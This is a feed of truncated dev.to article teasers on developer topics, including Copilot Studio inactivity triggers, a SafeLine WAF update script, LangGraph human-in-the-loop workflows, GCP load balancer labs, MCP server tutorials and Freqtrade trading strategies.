    Intro: Sessions lingering indefinitely after the final message. These issues weren’t just technical annoyances — they impacted user experience, compliance, and bot reliability, especially in regulated industries. Native Inactivity Trigger: With Microsoft Copilot Studio, we now have a powerful tool to address this: the Inactivity trigger. Inactive Trigger This trigger allows bot authors to define what should happen when a user becomes inactive for a specified duration. You can: End the conversation gracefully with a closing message. Reset the session context to prepare for a fresh start. Escalate to a human agent or log the session for review. Customize the timeout duration based on your business needs. Use Case Example Wait for 15 minutes. Trigger a message like: “It looks like you’ve stepped away. I’ll close this session for now — feel free to start again anytime.” Reset the session so the next interaction starts fresh. Final Thoughts: The Inactivity trigger is a small but powerful addition that solves a long-standing issue in bot design. It brings clarity, control, and professionalism to your Copilot Studio experiences — especially in enterprise scenarios where session lifecycle matters.  ( 7 min )
    Effortless SafeLine Updates: One Script to Rule Them All
    Keeping your SafeLine WAF installation up to date is critical for security, performance, and access to new features. But manual updates can be tedious. Luckily, this all-in-one Bash script automates the process—from stopping containers to creating backups, pulling new images, and restarting services—so you can focus on building, not patching. This script handles everything for you: Safely stops running containers before updates Creates timestamped backups of your resources Prunes old backups automatically Fetches the latest compose.yaml from the official release Pulls the latest Docker images Restarts containers in detached mode quickly Step 1: Save the Script Create a file called update.sh inside your SafeLine installation directory: #!/bin/bash set -e TARGET_DIR="/o…  ( 7 min )
    Adding Human-in-the-Loop (HITL) to Your AI Agent with LangGraph
    Modern AI agents are powerful, but you don’t always want them to act fully on their own. In this guide, we’ll see how to build a simple HITL workflow using LangGraph (built on top of LangChain). By the end, you’ll have a working example that lets the AI draft a response, sends that draft to a human for review, and either finalizes or revises the response based on human feedback, looping until the human is happy. What is LangGraph? Example: Human Review for AI Responses Step 1: Define the Workflow State class HumanInTheLoopState(TypedDict): question: str # User's original question ai_draft: str # AI's current draft human_feedback: str # Human review / comments final_response: str # Final approved response Step 2: Define the Workflow Nodes draft_r…  ( 7 min )
    A Developer's Guide to API Pagination: Offset vs. Cursor-Based
    You've just built a shiny new feature that lists user transactions. In testing, it runs flawlessly: fast responses, clean UI, no complaints. Then your biggest client joins with 50,000 records. Suddenly, that endpoint stalls and times out, and support tickets start piling up. This is a classic pagination problem. Instead of trying to load an entire data set at once, pagination breaks it into smaller, more manageable chunks (or pages) that can be fetched incrementally. Your bank does this; it shows around ten recent transactions at a time, not your entire account history. There's a good reason for this: research shows that even a one-second delay in page load can reduce conversions by 7 percent. When you're dealing with payroll systems, financial data, or anything time sensitive, those delay…  ( 14 min )
    GCP Internal Load Balancer | Enterprise-Grade ALB Lab | Cloud Architect Hands-On
    🚀 Master Google Cloud Internal Application Load Balancer (ALB) – Enterprise Hands-On Lab This step-by-step, production-grade lab teaches you how to design and implement an Internal Application Load Balancer (ALB) on Google Cloud. Perfect for GCP Architects, DevOps, SREs, and cloud engineers, and an excellent demonstrable skill for interviews. In this lab, you will learn: Lab Highlights: Python microservices (prime number calculator) running on VMs Enterprise-grade internal networking setup Cloud Shell + Gemini Code Assist for productivity Real-world traffic distribution patterns for internal applications Why This Lab is Interview-Ready: Shows hands-on internal ALB expertise Demonstrates cloud architecture best practices Ideal to discuss in interviews for Cloud Architect, DevOps, SRE roles 📌 Download Diagram & Commands: (Add later) 🔥 If you're preparing for GCP PCA, ACE, or Cloud Architect Role — this lab is a must-watch! • GCP Network Load Balancer (NLB) – Full Lab GCP ALB - Full Lab GCP internal ALB- Full Lab Community Hashtags: GoogleCloud #GCP #InternalLoadBalancer #CloudArchitect #DevOps #SRE #EnterpriseGCP #CloudComputing #GCPProjects  ( 6 min )
    Ensuring Reliable Voice Activation: How Gongniu Murora Rebuilt Its Observability System
    This article explains how Gongniu Murora migrated from the open source SkyWalking monitoring solution to Alibaba Cloud Application Real-Time Monitoring Service (ARMS), building a comprehensive observability platform with metrics, tracing, log analysis, and intelligent alerting. Beyond the selection criteria, the article highlights the unique value ARMS in LLM and IoT integration scenarios. By identifying bottlenecks in speech recognition, optimizing LLM inference performance and ensuring high-quality speech synthesis, Gongniu successfully moved from reactive responses to proactive management. The overall observation pipeline works as follows: user local gateway → user speech input → automatic speech recognition (ASR) → multi-agent → IoT command execution → response text generation → text-t…  ( 16 min )
    Perl 🐪 Weekly #749 - Design Patterns in Modern Perl
    Originally published at Perl Weekly 749 Hi there! The big announcement is that Mohammad Sajid Anwar who runs The Weekly Challenge and who is the other editor of the Perl Weekly newsletter, has published his first book called Design Patterns in Modern Perl. You can buy it both on Amazon and on Leanpub. Leanpub gives you the option to change the price so you can also use this opportunity to give a one-time donation to him. As far as I know, Leanpub also gives a much bigger part of the price to the author than Amazon does. You can also ask them to send the book to your Kindle or you can upload it yourself. I already bought it and started to read it. Now you go, buy the book! In just a few hours we are going to have the online meeting Perl Code-reading and testing. You can still register here.…  ( 18 min )
    Hands-On Lab: Google Cloud Application Load Balancer (ALB) — Architect-Level Implementation
    Hands-On Lab: Google Cloud Application Load Balancer (ALB) — Architect-Level Implementation As part of my ongoing Google Cloud Solutions Architect journey, I’ve completed a full end-to-end implementation of GCP Application Load Balancer, following production-grade architecture patterns. This lab demonstrates how large-scale systems handle global traffic, ensure high availability, and implement intelligent Layer-7 routing. Key Learnings & Highlights: Global HTTP/HTTPS load balancing with Anycast IP URL-based routing for microservices at scale Managed Instance Groups with autoscaling and health checks SSL/TLS termination at the edge for secure traffic High availability and fault-tolerant deployment strategies I’ve published a comprehensive YouTube walkthrough, covering architecture diagrams, configuration steps, and deployment strategy: https://youtu.be/4ZKUuVETAYY] Who will benefit: Cloud Architects & DevOps Engineers GCP ACE / Professional Architect aspirants Professionals designing scalable distributed systems I welcome feedback, alternative approaches, and discussions from the community—let’s share knowledge and best practices! GCP #GoogleCloud #ApplicationLoadBalancer #CloudArchitecture #Networking #DevOps #SRE #ScalableSystems #HighAvailability #CloudEngineering #GCPCommunity  ( 6 min )
    What are variables in Terraform? And how do I arrange my files?
    Variables are a fundamental concept in every programming language because they are useful in building dynamic programs. We use variables to store temporary or "permanent" values so they can assist programming logic in simple as well as complex programs. The result of an expression is a value. All values have a type, which dictates where that value can be used and what transformations can be applied to it. Well said by Hashicorp. Welcome to my day05-07 in #30DaysOfAwsTerraform and in this post, we discuss the types of Variables in Terraform, how they are used and how to setup of Terraform directory for clean configurations. Terraform variables are essential for building, scalable, highly maintainable and adaptable infrastructure configurations, effectively contributing efficient infrastruct…  ( 10 min )
    Stay ahead in web development: latest news, tools, and insights #113
    Signup here for the newsletter to get the weekly digest right into your inbox. weeklyfoo #113 is here: your weekly digest of all webdev news you need to know! This time you'll find 37 valuable links in 5 categories! Enjoy! Migrating 6000 React tests using AI Agents and ASTs: The internet is flooded with very impressive vibe-style coding demos, but in my day-to-day job at Filestage we rarely start codebases from scratch and we have to deal with hundreds of thousands of lines of code and their dependencies. by Elio Capella Sánchez / tests, ai, migration / 9 min read 📰 Good to know TIL satisfies is my favorite TypeScript keyword: This really comes in handy when you want to ensure that TypeScript is being as specific as possible. by Jerred Shepherd / typescript / 5 min read …  ( 9 min )
    🚀 Building Your First MCP Server: A Step-by-Step Guide
    🧐 link to the practice repository: PRESS ME In the rapidly evolving landscape of AI, the ability to connect Large Language Models (LLMs) to your own data and tools is a game-changer. The Model Context Protocol (MCP) has emerged as a standard for this connection, allowing developers to build servers that expose data and functionality to MCP clients like Claude Desktop, VS Code, and others. In this article, we will explore what an MCP server is and build a simple "Weather Server" from scratch using Python. By the end, you'll have a working server that you can connect to Claude to ask for weather updates! An MCP Server is a lightweight application that implements the Model Context Protocol. It acts as a bridge between your data sources (databases, APIs, files) and an AI client. Instead of bu…  ( 8 min )
    🚀 Demystifying Observability: A Practical Guide with Python, Prometheus, and Grafana
    🧐 link to the practice repository: PRESS ME In the modern era of distributed systems and microservices, "monitoring" is no longer enough. We need Observability. But what exactly is the difference, and how can we implement it without getting lost in complex configurations? In this article, we will explore the core concepts of observability and build a real-world example using Python (Flask), Prometheus, and Grafana. While monitoring tells you when something is wrong (e.g., "The server is down"), observability allows you to understand why it is wrong by asking questions to your system from the outside. It is often categorized into three pillars: Logs: A record of discrete events (e.g., "User X logged in"). Metrics: Aggregated numerical data over time (e.g., "CPU usage is at 80%"). Traces…  ( 7 min )
    The January Cliff: Why Your Holiday Customers Vanish (And How to Keep Them)
    You crushed Q4. Sales were up. The holiday push worked. Your inbox is full of order confirmations and your analytics dashboard looks like a beautiful upward slope. Then January hits. Crickets. Here's the uncomfortable truth: most of those December buyers aren't coming back. Industry data shows that roughly 70% of first-time holiday shoppers never make a second purchase. They came for the deal, grabbed the gift, and moved on with their lives. Your carefully crafted brand experience? It ended at the shipping confirmation email. But here's what actually matters: the 30% who might stick around are worth 5-10x more than the one-time buyers. The math is simple. The execution? That's where it gets interesting. Most retention advice sounds like this: "Send a follow-up email! Create a loyalty progr…  ( 11 min )
    NestJS Dependency Injection: Why Your Services Won't Inject (And How to Fix It Properly)
    If you've worked with NestJS for more than a day, you've seen this error: Error: Nest can't resolve dependencies of the UserService (?). Please make sure that the argument EmailService at index [1] is available in the UserModule context. You scratch your head. You added EmailService to the providers array. Why isn't it working? So you start randomly importing modules, adding services everywhere until the error goes away. Now your app works, but you have no idea why, and your modules are a tangled mess. This is one of the most common pain points for NestJS developers — both beginners and experienced ones. The module system is powerful but unforgiving. One missing export and your entire application crashes with cryptic error messages. Let's fix this properly. The Root Problem: Module Contex…  ( 22 min )
    [Boost]
    SOLID explicado com exemplos em Java — do jeito simples que todo dev gostaria de ter aprendido Edson Costa for Devs Norte ・ Dec 1 #solidprinciples #java #programming #webdev  ( 6 min )
    SOLID explicado com exemplos em Java — do jeito simples que todo dev gostaria de ter aprendido
    Ao longo da minha jornada como desenvolvedor — principalmente vindo do desenvolvimento web — sempre ouvi falar sobre SOLID. Mas foi entrando de vez no desenvolvimento mobile que esses princípios começaram a fazer um sentido muito maior no meu dia a dia. SOLID não é um conjunto de regras rígidas, e sim um guia de boas práticas para construir sistemas mais limpos, flexíveis e fáceis de manter. Vamos direto ao ponto. SOLID é um acrônimo formado por cinco princípios fundamentais da programação orientada a objetos: S — Single Responsibility Principle O — Open/Closed Principle L — Liskov Substitution Principle I — Interface Segregation Principle D — Dependency Inversion Principle A ideia central é simples: projetar software que seja fácil de entender, evoluir, testar e manter. Agora, vamos ver c…  ( 9 min )
    Daily Tech News Roundup - 2025-12-01
    Daily Tech News Roundup Cyber Monday is in full swing, bringing a flurry of deals and developments across the tech landscape. From space manufacturing breakthroughs to concerns about data center impact on public health, today's news is diverse and impactful. Here's a quick rundown of the top stories you need to know. Cyber Monday Deals Under $100 Looking for budget-friendly tech gifts? The Verge has compiled a list of 50 standout deals under $100 for Cyber Monday. This is a great resource for finding affordable gadgets without breaking the bank during the holiday shopping season. Source Apple Cyber Monday Deals Cyber Monday is offering some of the best deals of the year on Apple products, including MacBooks, iPads, and AirTags. Now is the perfect opportunity to snag that Apple device you'v…  ( 7 min )
    Best SQLite Solutions for React Native App Development in 2026
    The demand for fast, offline-capable mobile apps with on-device AI features is higher than ever. By 2026, a powerful local database isn't a luxury; it's a core requirement for building responsive and intelligent user experiences. For many projects, this means choosing the right SQLite solution for React Native app development. This guide reviews the top SQLite libraries available today. We'll compare them based on performance, developer experience, and compatibility with modern React Native architectures, including the Fabric renderer and TurboModules. Even with countless cloud solutions, a local SQLite database remains a foundational piece of high-performance mobile applications. Its direct, native access provides speed and reliability that remote databases cannot match for certain tasks.…  ( 14 min )
    Music Monday (Last song you listened to?)
    Happy Monday! What have you been listening to? Drop a YouTube, Bandcamp, SoundCloud, or Spotify {% embed %} in the comments. Optional: What was the last song you listened to (or are listening to right now)? Check whatever platform you listen to music on and let us know! Nothing is off limits. There's no good or bad taste in music!  ( 6 min )
    🐳 How Docker Saved My Full-Stack Project (And My Sanity)
    When I built VBlog, a full-stack application with Next.js, Express, Prisma, and PostgreSQL, everything ran flawlessly on my local machine. Then I tried deploying it to another environment. 💥 Chaos ensued. Missing dependencies. Mismatched Node versions. Prisma binaries that refused to cooperate. PostgreSQL connection failures. The backend would work while the frontend crashed, or vice versa. That's when Docker shifted from a "someday" learning goal to an immediate necessity. In this article, I'll walk you through: Why Docker became essential for my project How I containerized each component of my stack The Prisma binary issue that almost broke me (and how I fixed it) My final docker-compose workflow that ties everything together My tech stack consisted of: Next.js 15 for the frontend Node.…  ( 8 min )
    The Hardest Lesson I Learned Migrating Yet Another Legacy Codebase
    I originally posted this post on my blog. I definitely can't escape from legacy code. This time, it's an old WebForms application written in VB. Yes, that old. It's a family business. Dad started it. And years later, his two sons got involved. It's funny when during the standup meetings I hear, "Hey Dad..." The code is a mess. Sorry, I mean it needs a lot of care. I don't blame them. It was the easy route with WebForms. Just drag and drop, double-click, and dump all your logic. It's just like that framework encouraged people to copy and paste. I've worked with at least 3 legacy apps with WebForms. All of them were pure spaghetti code. Zero best practices. "Coincidence? I think not!" The code needs care, but the database needs even more attention. It doesn't have foreign keys, and queries d…  ( 7 min )
    Why Q&A is the Ultimate SEO Strategy for 2026
    The golden age of "keyword stuffing" and generic 2,000-word guides is fading. Today, search engines have a singular focus: connecting users with direct, helpful answers. If your 2026 SEO strategy is still built solely around competing for broad, high-volume keywords, you are likely fighting a losing battle against industry giants. The real opportunity for growth lies not in chasing "head terms," but in answering specific questions. Here is why building a Question & Answer (Q&A) community is the most potent, scalable SEO strategy for the coming year, and how tools like AnswerGrowth can help you execute it. Google’s recent algorithm updates (specifically the "Helpful Content" system) have made one thing clear: content written for humans ranks better than content written for bots. Have you no…  ( 8 min )
    Building a Production-Ready Data Pipeline on AWS: A Hands-On Guide for Data Engineers
    Introduction Modern data engineering requires scalable, fault-tolerant, and secure architectures. In this article, I walk through a fully operational AWS data pipeline using S3, Kinesis, Glue, Athena, Redshift, and QuickSight. This article helps anyone learn: How to build a real AWS ETL pipeline end-to-end How to combine batch + streaming data How to orchestrate jobs with Glue + Lambda How to query data with Athena and Redshift How to build dashboards with QuickSight Architecture Overview Amazon S3 – Data lake (Raw → Clean → Analytics Zones) Amazon Kinesis Data Streams – Real-time data ingestion AWS Glue – ETL jobs & data catalog AWS Lambda – Event-driven transformations Amazon Athena – Serverless SQL analytics Amazon Redshift – Data warehouse Amazon QuickSight – Dashboards AWS Lake Form…  ( 7 min )
    Google's New AI Tool Already Beaten? Try Alibaba's Free Local Alternative
    Google's New AI Tool Already Beaten? Try Alibaba's Free Local Alternative Last week I was figuring out how to access Google's Nano Banana Pro—dealing with VPNs, subscriptions, and daily usage limits. Then Alibaba dropped a bombshell: Z-Image-Turbo, a completely open-source AI image generator that runs locally on your machine with zero restrictions. I downloaded the one-click package and tested it immediately. This tool is absolutely brilliant. To be honest, previous attempts with Stable Diffusion to generate posters with Chinese text were disastrous—the characters would come out completely distorted. Z-Image-Turbo completely solves this pain point. I simply typed "a girl in traditional Chinese hanfu playing a guqin in a bamboo forest," and the output was stunning. The details were cris…  ( 7 min )
    Challenge (Cafe) lab: Creating a Static Website for the Cafe
    AWS Academy Cloud Architecting | V1 | Challenge (Cafe) lab: Creating a Static Website for the Cafe  ( 6 min )
    Cafe Business Case Introduction
    AWS Academy Cloud Architecting | Cafe Business Case Introduction  ( 6 min )
    Macroeconomics Isn't Mid, Your Takes Are: A Hacker's Guide
    Hook: Your Bank Account is in its Flop Era. Let's Talk About It. No cap, you look at your bank account and wonder where all the money went. That iced latte is now the price of a streaming sub, rent is hitting new highs, and getting a loan feels like you're asking for a kidney. You scroll through TikTok and hear everyone yelling about 'inflation,' 'recession,' and 'the Fed.' It all sounds like a whole lot of noise, something for dudes in suits to worry about. You think, 'Macroeconomics is mid, it doesn't even affect me.' That take? It's the biggest cap of the century. You're not just living in the economy; you're a player in the game. Ignoring the rules doesn't mean you're not playing—it just means you're losing. Bet. Let's hack the system. The Deep Dive: Decoding the Economy's Source Code …  ( 8 min )
    Introduction to AWS IAM
    20242 AKM | Cloud Foundations | Lab 1 Introduction to AWS IAM  ( 6 min )
    Build Your First Remote MCP Server on Cloudflare Workers
    Remote MCP (Model Context Protocol) servers enable AI clients like Claude Desktop or VSCode extensions to securely interact with external tools via standardized SSE endpoints, deployable in minutes on Cloudflare Workers.​ What is MCP? https://your-mcp.workers.dev/sse, supporting authentication flows.​ Quickstart Deployment For authenticated setups, wrap your MCP logic in Cloudflare's OAuthProvider: import libraries like @modelcontextprotocol/sdk/server/mcp.js and define tools with Zod schemas, e.g., a counter tool persisting state via Durable Objects.​ Public Example Repository https://github.com/GoogleCloudPlatform/cloud-run-mcp, which provides tools like deploy-local-folder for app deployments. Configure in VSCode with "command": "npx", "args": ["-y", "@google-cloud/cloud-run-mcp"] after GCP auth, or connect Claude Desktop to its SSE endpoint. Test by listing services: the repo includes full setup for production use.​ Connecting Clients @cf/black-forest-labs/flux-1-schnell. Sessions maintain state across calls, enabling agentic workflows like persistent todos.  ( 6 min )
    How can business development be independent of frameworks
    In the article How to evaluate the quality of a framework technology, I introduced a concept, framework agnosticism, and pointed out that the most ideal framework is one that you are completely unaware of when writing business code. Some readers asked: As of now, no business development is completely independent of frameworks—what is the point of this concept? A helpful classmate in the discussion group replied: Software development depends on frameworks because we need the framework-provided input/output, event callbacks, dependency injection, external data I/O, context, etc.—most of which are side effects that the program’s execution relies on. If, when implementing a piece of business, we design it as a library, explicitly declare all side effects as interfaces and context objects, and …  ( 17 min )
    C Programming Language: The Foundation of Modern Software Development
    Few programming languages have shaped the software world as profoundly as C. Created over 50 years ago, C still powers operating systems, compilers, embedded systems, databases, and performance-critical applications around the globe. Whether you’re a beginner stepping into low-level programming or an experienced developer exploring systems-level engineering, learning C equips you with a deeper understanding of how computers actually work. In this article, we’ll explore what makes C timeless, why developers continue to rely on it, and what you need to know to get started. What Is C? C is a general-purpose, procedural programming language created by Dennis Ritchie at Bell Labs in the early 1970s. It was originally developed to build the UNIX operating system, but quickly became a universal…  ( 8 min )
    How to Start Indie Development: From Idea to First Commit
    This is Day 1 of the Building a SaaS Solo - Design, Implementation, and Operations Advent Calendar 2025. Over 25 days, I'll share technical insights from developing my own product. Since the product hasn't launched yet, this is a record of trial and error, not success stories. It's also an exercise in organizing my thoughts, so please read with that in mind. Period Theme Content 12/1-3 Beginning Idea, Tech Selection, Project Structure 12/4-9 Foundation Documentation, Git, DB Design, Auth 12/10-13 Frontend & API App Router, SPA, Hono, Vercel 12/14-17 Features UX, Infinite Scroll, Table UI, AI Search 12/18-22 Practical Issues TypeScript, Security, Billing, Analytics 12/23-25 Retrospective Claude Code, Persistence, Summary Product Name: Memoreru Concept: Organize knowledge…  ( 8 min )
    The Next-Generation Logic Orchestration Engine NopTaskFlow Built from Scratch
    With the popularity of low-code concepts and products, many are considering introducing the idea of logic orchestration into their projects—offloading logic traditionally produced via hand-crafted hard coding to a logic orchestration engine that can be flexibly configured. In this article, I will introduce the design philosophy of the logic orchestration engine NopTaskFlow in the Nop platform and analyze the mathematical inevitability of its design. At the end, I will explain why NopTaskFlow is a next-generation logic orchestration engine and what typical characteristics this so-called next generation possesses. When we program using traditional programming languages and frameworks, we are essentially following certain constraint specifications defined by the language, which can be seen as…  ( 37 min )
    The Secret Life of Go: Structs
    Chapter 6: Building Your Own Types Monday morning arrived with the scent of rain on concrete. Ethan descended the familiar stairs, coffee tray in one hand, a white bakery bag in the other. Eleanor looked up from her laptop. "What's the occasion?" "Croissants. The baker said they're architectural—all those layers held together by structure." She smiled. "Perfect. Today we're building structures of our own. Sit." Ethan set down the coffees and took his seat. "Structures?" "Structs. Go's way of creating custom types that group related data together. Until now, we've used Go's built-in types—int, string, bool, slices, maps. Today, we make our own." Eleanor opened a new file: package main import "fmt" type Person struct { Name string Age int } func main() { var p Person fm…  ( 13 min )
    Unlock Gemini’s True Potential: The One Setting You Need to Change Right Now
    If you have used Google’s Gemini and found it impressive but ultimately disconnected from your actual work, you aren't alone. Many users describe the initial experience as talking to a very smart stranger—it knows the capital of France and can write a haiku, but it knows absolutely nothing about you, your projects, or your schedule. However, the difference between Gemini being a novelty and a productivity powerhouse often comes down to a single, often overlooked toggle in the settings: The Google Workspace Extension. Out of the box, most AI chatbots operate in function independently. If you want Gemini to summarize a meeting note you wrote last week, you usually have to find the document, copy the text, paste it into the chat, and then ask your question. This friction defeats the purpose o…  ( 7 min )
    How to Evaluate the Quality of a Framework Technology?
    An interesting question is: when a new framework technology emerges, how do we evaluate its quality? Since the NopORM engine was open-sourced this year, we’ve received some feedback, but most people likely didn’t grasp the theoretical part of NopORM, so the common confusion is: what concrete advantages does NopORM have over other ORM engines? In this article, I’d like to discuss objective criteria for evaluating a framework that do not hinge on personal experience, preferences, or familiarity. Interestingly, some people never read the theoretical parts themselves, but when discussing the gap between domestic and international software technology, their rhetoric is “domestic development emphasizes pragmatism, and the gap in software methodology is huge.” This can only be described as a “Lor…  ( 22 min )
    Lesson 27: Freqtrade Multi-Timeframe Strategies
    Lesson 27: Multi-Timeframe Strategies ⏱ Duration: 2 hours 🎯 Learning Objectives: Learn to develop multi-timeframe confirmation strategies to improve signal quality and stability Single timeframe strategies are prone to false signals. Using Multi-Timeframe Analysis (MTF) can: ✅ Improve signal quality ✅ Reduce false breakouts ✅ Increase win rate ✅ Better grasp market trends Core Concept: Major timeframe for trend, minor timeframe for entry. Problem 1: Narrow Vision - 5-minute chart looks like it's rising - But 1-hour chart might be a rally in a downtrend - Easy to trade against the trend Problem 2: Frequent False Signals - Small timeframes have more noise - Frequent golden cross/death cross - Most are false breakouts Problem 3: Lack of Big Picture - Don't know which stage of the trend w…  ( 15 min )
    第 27 课:Freqtrade多时间框架策略
    第 27 课:多时间框架策略 ⏱ 课时:2 小时 🎯 学习目标:学会开发多周期确认策略,提高信号质量和稳定性 单一时间框架的策略容易产生假信号。使用多时间框架分析(Multi-Timeframe Analysis, MTF)可以: ✅ 提高信号质量 ✅ 减少假突破 ✅ 提升胜率 ✅ 更好地把握市场趋势 核心理念: 大周期看趋势,小周期找入场。 问题 1:视野狭窄 - 5 分钟图看起来是上涨 - 但 1 小时图可能是下跌趋势中的反弹 - 容易逆势交易 问题 2:假信号频繁 - 小周期噪音多 - 频繁的金叉死叉 - 多数是假突破 问题 3:缺乏大局观 - 不知道当前处于趋势的哪个阶段 - 容易在趋势末期入场 - 止损频繁触发 优势 1:趋势确认 - 1 小时图确认上涨趋势 - 5 分钟图寻找回调买点 - 顺势交易,成功率高 优势 2:过滤噪音 - 大周期过滤小周期的假信号 - 只在趋势方向交易 - 减少无效交易 优势 3:更好的风险回报 - 大趋势支持,可以持仓更久 - 盈利空间更大 - 回撤更小 大周期(趋势) 中周期(确认) 小周期(入场) 适用场景 1d 4h 1h 波段交易 4h 1h 15m 日内波段 1h 15m 5m 短线交易(推荐) 15m 5m 1m 超短线 推荐比例: 大周期:中周期 = 4:1 到 8:1 中周期:小周期 = 3:1 到 4:1 例如:1h(大)、15m(中)、5m(小)= 12:3:1 1. 交易风格决定时间框架 - 波段交易:4h + 1h + 15m - 日内交易:1h + 15m + 5m - 短线交易:15m + 5m + 1m 2. 避免相邻过近 ❌ 错误:5m + 3m + 1m(过于接近) ✅ 正确:15m + 5m + 1m(间隔合理) 3…  ( 12 min )
    [Boost]
    Building an AI-Powered App Entirely in Go: From Simple Prompt to Smart Pipeline Naveen V ・ Nov 28 #ai #go #genkit #programming  ( 6 min )
    Stopping Bots in Action: SafeLine WAF Real-World Traffic Case Study
    Protecting web applications from malicious bots is one thing; proving it works in production is another. In this case study, we demonstrate how SafeLine WAF defended a real application from bot attacks, showing before-and-after traffic patterns and highlighting actionable insights for developers. Bots today can: Scrape sensitive data Perform credential stuffing Spam APIs and forms Overload servers, causing downtime Simple rate limiting or IP blocks are often insufficient, as modern bots rotate IPs, mimic human behavior, and bypass naive filters. Server: 4-core / 8GB RAM VPS Web app: Single-page app + API endpoints WAF: SafeLine Pro, self-hosted Traffic: Internal bot simulation + real attack traffic SafeLine WAF allows configuration of Bot Protect, custom rules, and challenge pages (JS/C…  ( 7 min )
    The Engineering Challenge of "Value": Building a Real-Time Fantasy Football Trade Engine
    Hey dev.to community, If you play fantasy sports, you know the anxiety of a trade offer. "Is this fair?" It seems like a simple question, but building a system to answer it objectively—in real-time—is a fascinating engineering challenge. When developing fftradeanalyzer.com, I quickly realized that ingesting stats is easy, but calculating "current value" is incredibly hard. It requires building a pipeline that can handle noisy data, rapid context shifts, and complex normalization. Here’s a look under the hood at the technical hurdles of building a real-time sports valuation engine. The Stack Backend API: Python & FastAPI (for async performance). Data Processing: Pandas & NumPy (the heavy lifters). Caching: Redis (crucial for storing processed player values to avoid re-calculating on every r…  ( 7 min )
    From Monolith to Microservices without changing one line of code, thanks to the power of Inversion of Control (IoC)
    In this article, we will explore how to transition from a monolithic architecture to a microservices architecture without refactoring any existing code. We will leverage the power of the Onion/Clean architecture to achieve this goal. In the past I have written extensively about the Onion/Clean architecture, so if you are not familiar with it, I recommend reading the following articles first: Implementing SOLID and the onion architecture in Node.js with TypeScript and InversifyJS Build HTTP APIs with Dependency Injection in TypeScript — Meet the Inversify Framework Enforce Clean Architecture in Your TypeScript Projects with fresh-onion 1. Start with a Monolith and the Onion/Clean Architecture To begin, we will start with a monolithic application that follows the Onion/Clea…  ( 14 min )
    Quantum Granules: Taming Complexity with Effect-Based Abstraction
    Quantum Granules: Taming Complexity with Effect-Based Abstraction Quantum computing holds immense promise, but wrestling with its inherent complexity can feel like navigating a dense jungle. How do we abstract away low-level qubit operations and build more intuitive, manageable quantum programs? Imagine organizing quantum operations into reusable, effect-based units, much like organizing files into folders on your computer. The core idea is Quantum Granular Computing: treating groups of quantum operations as single, abstract units called "granules." Instead of directly manipulating individual qubits, we manipulate these granules, each representing a specific effect on the quantum state. These granules aren't just fixed blocks; they can morph and adapt based on context, providing a flexib…  ( 7 min )
    What are the differences in control methods between RGB light strips and monochrome light strips?
    Many people are confused when choosing LED light strips: What are the differences between RGB light strips and ordinary single-color light strips? In fact, apart from the different color effects, there are also essential differences in their control methods. Single-color light strips only emit a fixed color (such as warm white, pure white or red), have a simple structure, and usually only have two wires (positive pole and negative pole). As long as it is connected to the matching power supply, the light strip will remain on constantly. If dimming is needed, simply add a simple PWM dimmer or a smart switch. The operation is intuitive and suitable for basic lighting. Each LED of the RGB light strip contains three chips: red (R), green (G), and blue (B). By mixing the three colors, it can present 16 million colors. It usually has four wires: one common positive pole (+12V/24V), and the other three control the R, G, and B channels respectively. It must be used in conjunction with a dedicated RGB controller (such as an infrared, Bluetooth or Wi-Fi controller) and cannot be directly connected to a power source; otherwise, a short circuit may occur. For this reason, RGB light strips can achieve dynamic effects such as color change, gradient, and music synchronization, but the control is more complex. Monochrome light strips excel in simplicity and reliability, making them suitable for scenarios that do not require fancy effects. Therefore, for an atmosphere, choose RGB; for practicality, choose monochrome - provided that the correct controller and power supply are paired.  ( 6 min )
    Why You Need a Local-First API Client (With Hands-On Example)
    Why You Need a Local-First API Client (With Hands-On Example) Local-first API clients boost speed, privacy, and offline reliability by keeping requests and data on your device—cutting hidden dependencies and reducing technical debt. Your lightweight Client for API debugging No Login Required Get Requestly A local-first API client puts you in control by running everything locally on your device by default. This approach not only speeds up requests but also helps reduce technical debt by increasing transparency, consistency, and stability in your API testing workflows. What Does “Local-First” Mean? Blazing Fast Responses: Requests go directly from your device to your API endpoints without unnecessary detours. Hidden External Dependencies: Your workflow depends on third-party cloud infrastruc…  ( 9 min )
    Update and maintain azure resources
    Lab overview During the setup, you create a virtual network, a virtual machine, a storage account, and associated resources. Learning objectives Update a virtual network and subnet. Manage virtual machines. Control storage access. Manage resource tags and locks. Clean up First, we prepare the environment: Login to Microsoft Azure Login to Microsoft Azure at https://portal.azure.com Create a resource group 1.From the Azure portal home page, in the search box, enter resource groups. Resource groups under services. 3.Select Create 4.Enter guided-project-rg in the Resource group name field. Region field will automatically populate. Leave the default value. 6.Select Review + create. Create. 8.Return to the home page of the Azure portal by selecting Home. Create a virtual network with o…  ( 9 min )
    Productionizing ML: How I Built Scalable Healthcare & Fintech Pipelines using FastAPI, Docker, and XGBoost
    Introduction As a Senior Engineer, I’ve spent 5 years building scalable systems in Java and Angular. When I moved into AI, I noticed a pattern: many models live and die in Jupyter Notebooks. I wanted to build systems that survive in production. Here is how I architected two enterprise-grade ML solutions, focusing on Deployment, Explainability, and ROI. 1. The Architecture: Engineering First Before training a single model, I designed the infrastructure. A model is useless if it can't be queried at scale. Serving Layer: I chose FastAPI over Flask for its asynchronous capabilities and automatic validation (Pydantic), mirroring the type-safety I’m used to in Java. Containerization: Both projects are fully Dockerized, ensuring that the environment used for training matches production exactly. …  ( 7 min )
    Avoid the Temptation of Header-Only Libraries
    Introduction One thing that occurs in most programming languages is the desire to have type-generic code, that is code whose purpose or algorithms don’t depend on the type of data. Most commonly, this manifests as the desire to have generic “containers,” e.g., arrays, lists, or sets of some type T where T can not only be any type built into the language, but user-defined types as well, e.g., list of integers, sets of strings, etc. Different languages that support generic containers do so differently, e.g., C++ uses “templates” where type parameters are instantiated at compile-time with specific types, e.g., a list can be instantiated with T = int yielding list. C has only minimal support for generic code via _Generic and preprocessor macros. Some people try to use these things t…  ( 8 min )
    Adaptive Gripping: Bridging the Dexterity Gap in Robotics
    Adaptive Gripping: Bridging the Dexterity Gap in Robotics Ever watched a robot struggle to pick up a thin sheet of glass or open a cabinet without a handle? Current robotic grippers often falter on tasks requiring both delicate touch and secure hold, limiting their real-world usability. The solution? Imagine a robotic hand that combines the precision of fingertips with the power of suction. We're talking about a hybrid end-effector, seamlessly integrating a traditional gripper with a miniature vacuum system. This allows robots to switch instantly between gripping and suction, or even use them in tandem for ultimate control. It's like giving a robot the ability to both pinch and stick, adapting to a much wider range of objects and surfaces. This combined approach unlocks a new level of ad…  ( 7 min )
    DataViz Kit Weekly Update: Testing New SEO Strategies
